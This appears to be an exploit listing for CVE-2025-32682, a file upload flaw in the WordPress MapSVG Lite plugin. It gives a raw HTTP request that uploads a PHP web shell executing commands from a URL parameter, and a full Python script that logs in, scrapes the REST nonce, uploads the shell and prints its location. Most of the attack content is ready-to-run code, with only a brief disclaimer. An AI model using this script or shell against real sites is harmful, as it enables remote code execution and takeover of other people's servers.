Exploit for WordPress MapSVG Lite 8.5.34 Shell Upload CVE-2025-32682

## https://sploitus.com/exploit?id=PACKETSTORM:190569
# 🐚 CVE-2025-32682 - Arbitrary File Upload in MapSVG Lite <= 8.5.34
    
    ## 📌 Plugin Details
    - **Name:** MapSVG Lite
    - **Affected Version:** <= 8.5.34
    - **Vulnerability Type:** Arbitrary File Upload
    - **CVE ID:** CVE-2025-32682
    - **Published Date:** 15 April, 2025
    - **CVSS Score:** 9.9 (Critical)
    
    ---
    
    ## 💥 Vulnerability Summary
    The `MapSVG Lite` plugin for WordPress does not validate file types when uploading SVG files via its REST API endpoint:
    
    ```
    /wp-json/mapsvg/v1/svgfile
    ```
    
    This allows an authenticated attacker (Subscriber+) to upload arbitrary PHP files disguised as SVG, resulting in remote code execution (RCE).
    
    ---
    
    ## 📎 Proof of Concept (POC) - Raw HTTP Request
    ```http
    POST /wp-json/mapsvg/v1/svgfile HTTP/1.1
    
    Host: 192.168.100.74:888
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    
    Accept: */*
    
    Accept-Language: en-US,en;q=0.5
    
    Accept-Encoding: gzip, deflate, br
    
    Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config
    
    X-WP-Nonce: 4febb3ff50
    
    X-Requested-With: XMLHttpRequest
    
    Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807
    
    Content-Length: 298
    
    Origin: http://192.168.100.74:888
    
    Connection: keep-alive
    
    Cookie:
    
    
    -----------------------------155355665422604566641836454807
    
    Content-Disposition: form-data; name="file"; filename="nxploit.php"
    
    Content-Type: text/xml
    
    
    
    <!--?php  
    if(isset($_GET['cmd'])) {  
        system($_GET['cmd']);  
    }  
    ?-->  
    
    -----------------------------155355665422604566641836454807--
    
    
    ```
    
    ### 🔍 Vulnerable Code Snippet
    The following vulnerable code snippet from the `mapsvg-lite-interactive-vector-maps.php` file highlights the issue:
    ```php
    public function uploadSVG() {
        $file = $_FILES['file'];
        $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
        return new \WP_REST_Response(["file" => $upload], 200);
    }
    ```
    - ❌ **No filetype check**
    - ❌ **No extension validation**
    - ❌ **No sanitization of file contents**
    
    This function is directly mapped to the REST endpoint `/wp-json/mapsvg/v1/svgfile`.
    
    ---
    
    ## 🧠 Exploitation Requirements
    - ✅ Requires authentication (Subscriber+)
    - 🛑 No filetype or content validation
    
    ---
    
    ## 🐍 POC 2 - Python Exploit Script
    ```python
    # By: Nxploited | Khaled Alenazi
    import requests
    import argparse
    import re
    
    requests.packages.urllib3.disable_warnings()
    session = requests.Session()
    session.verify = False
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    parser.add_argument("-un", "--username", required=True)
    parser.add_argument("-p", "--password", required=True)
    args = parser.parse_args()
    
    login_url = f"{args.url}/wp-login.php"
    resp = session.post(login_url, data={
        'log': args.username,
        'pwd': args.password,
        'rememberme': 'forever',
        'wp-submit': 'Log In'
    }, headers={"User-Agent": user_agent})
    
    if 'wordpress_logged_in' not in str(session.cookies):
        print("[-] Login failed")
        exit()
    print("[+] Logged in successfully.")
    
    nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
    match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
    if not match:
        print("[-] Failed to extract nonce")
        exit()
    nonce = match.group(1)
    print(f"[+] Found nonce: {nonce}")
    
    upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
    print(f"[+] Uploading file to: {upload_url}")
    
    payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
    headers = {
        'X-WP-Nonce': nonce,
        'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': user_agent
    }
    
    res = session.post(upload_url, files=payload, headers=headers)
    
    try:
        json_res = res.json()
        print("[+] Server response (formatted):")
        print("File Name    :", json_res['file']['name'])
        print("URL          :", json_res['file']['relativeUrl'])
        print("Path Short   :", json_res['file']['pathShort'])
        print("Server Path  :", json_res['file']['serverPath'])
        print("\nExploited By : Nxploited | Khaled Alenazi")
    except:
        print("[-] Upload failed or invalid response.")
    ```
    
    ---
    
    ## ☠️ Impact
    Exploitation of this vulnerability allows an attacker to upload a `.php` web shell to the `/wp-content/uploads/mapsvg/` directory and execute arbitrary commands on the server.
    
    ---
    
    ## 👤  By:
    
    **Nxploited | Khaled Alenazi**
    
    ---
    
    ## ⚠️ Disclaimer
    This project is for **educational purposes only**. Unauthorized access to systems without permission is illegal.